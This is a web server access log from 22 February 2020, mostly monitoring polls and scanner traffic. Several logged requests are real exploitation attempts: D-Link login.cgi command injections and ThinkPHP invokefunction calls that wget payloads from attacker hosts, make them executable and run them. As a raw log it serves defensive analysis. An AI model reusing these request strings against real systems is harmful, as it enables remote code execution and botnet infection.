212.91.246.72 - - [22/Feb/2020:08:37:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:38:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:39:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:40:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.170.133.202 - - [22/Feb/2020:08:41:09 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:08:41:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:42:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:43:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:44:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:45:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:46:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.0.21.45 - - [22/Feb/2020:08:47:15 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:08:47:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.112.49.19 - - [22/Feb/2020:08:48:03 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
193.112.49.19 - - [22/Feb/2020:08:48:03 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
193.112.49.19 - - [22/Feb/2020:08:48:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [22/Feb/2020:08:48:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:49:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:50:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:51:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
194.60.238.145 - - [22/Feb/2020:08:52:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:08:52:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:53:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:54:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:55:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:56:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:57:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:58:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:59:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:09:00:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:09:01:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:09:02:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:09:03:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:09:04:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:09:05:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.38.15.238 - - [22/Feb/2020:09:06:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:09:06:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:09:07:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:09:08:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:09:09:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:09:10:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:09:11:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:09:12:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:09:13:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:09:14:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:09:15:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.191.226.173 - - [22/Feb/2020:09:16:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
42.52.45.87 - - [22/Feb/2020:09:16:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [22/Feb/2020:09:16:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:09:17:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:09:18:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:09:19:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:09:20:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:09:21:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:09:22:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
173.76.38.236 - - [22/Feb/2020:09:22:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [22/Feb/2020:09:23:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:09:24:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:09:25:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.234.207.52 - - [22/Feb/2020:09:26:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:09:26:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:09:27:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:09:28:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:09:29:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.153.209.155 - - [22/Feb/2020:09:29:56 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:09:30:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:09:31:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:09:32:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.62.9.12 - - [22/Feb/2020:09:33:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
178.62.9.12 - - [22/Feb/2020:09:33:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
178.62.9.12 - - [22/Feb/2020:09:33:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
178.62.9.12 - - [22/Feb/2020:09:33:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [22/Feb/2020:09:33:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.62.9.12 - - [22/Feb/2020:09:33:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
178.62.9.12 - - [22/Feb/2020:09:33:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
178.62.9.12 - - [22/Feb/2020:09:33:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
122.117.185.184 - - [22/Feb/2020:09:34:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:09:34:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.189.94.12 - - [22/Feb/2020:09:35:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
178.62.9.12 - - [22/Feb/2020:09:35:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
178.62.9.12 - - [22/Feb/2020:09:35:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
178.62.9.12 - - [22/Feb/2020:09:35:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [22/Feb/2020:09:35:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:09:36:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:09:37:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [22/Feb/2020:09:38:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [22/Feb/2020:09:38:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:09:39:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:09:40:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:09:41:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:09:42:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:09:43:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.9.191.96 - - [22/Feb/2020:09:44:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:09:44:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:09:45:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:09:46:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:09:47:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [22/Feb/2020:09:47:57 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [22/Feb/2020:09:48:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:09:49:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:09:50:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:09:51:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:09:52:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:09:53:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.233.123.87 - - [22/Feb/2020:09:53:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:09:54:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:09:55:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.19.184.152 - - [22/Feb/2020:09:56:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [22/Feb/2020:09:56:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.209.224.180 - - [22/Feb/2020:09:57:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [22/Feb/2020:09:57:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [22/Feb/2020:09:57:48 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
222.186.19.221 - - [22/Feb/2020:09:58:03 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
45.152.6.58 - - [22/Feb/2020:09:58:24 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [22/Feb/2020:09:58:31 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [22/Feb/2020:09:58:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [22/Feb/2020:09:58:54 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [22/Feb/2020:09:59:27 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [22/Feb/2020:09:59:29 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [22/Feb/2020:09:59:39 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [22/Feb/2020:09:59:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [22/Feb/2020:09:59:46 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
222.186.19.221 - - [22/Feb/2020:09:59:46 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
45.152.6.58 - - [22/Feb/2020:09:59:47 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [22/Feb/2020:10:00:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [22/Feb/2020:10:00:53 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
46.1.145.140 - - [22/Feb/2020:10:01:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:10:01:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:10:02:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:10:03:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:10:04:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
182.138.158.177 - - [22/Feb/2020:10:04:57 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.01715179 Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36 OPR/55.0.2994.44"
212.91.246.72 - - [22/Feb/2020:10:05:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [22/Feb/2020:10:06:31 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [22/Feb/2020:10:06:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [22/Feb/2020:10:06:48 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
222.186.19.221 - - [22/Feb/2020:10:07:09 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
222.186.19.221 - - [22/Feb/2020:10:07:28 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [22/Feb/2020:10:07:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:10:08:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
179.98.235.16 - - [22/Feb/2020:10:09:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
113.68.88.75 - - [22/Feb/2020:10:09:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [22/Feb/2020:10:09:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:10:10:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:10:11:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:10:12:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:10:13:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.83.133.214 - - [22/Feb/2020:10:14:29 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:10:14:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:10:15:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:10:16:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:10:17:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:10:18:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.216.128.97 - - [22/Feb/2020:10:19:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:10:19:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:10:20:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [22/Feb/2020:10:20:46 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
151.73.116.18 - - [22/Feb/2020:10:21:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
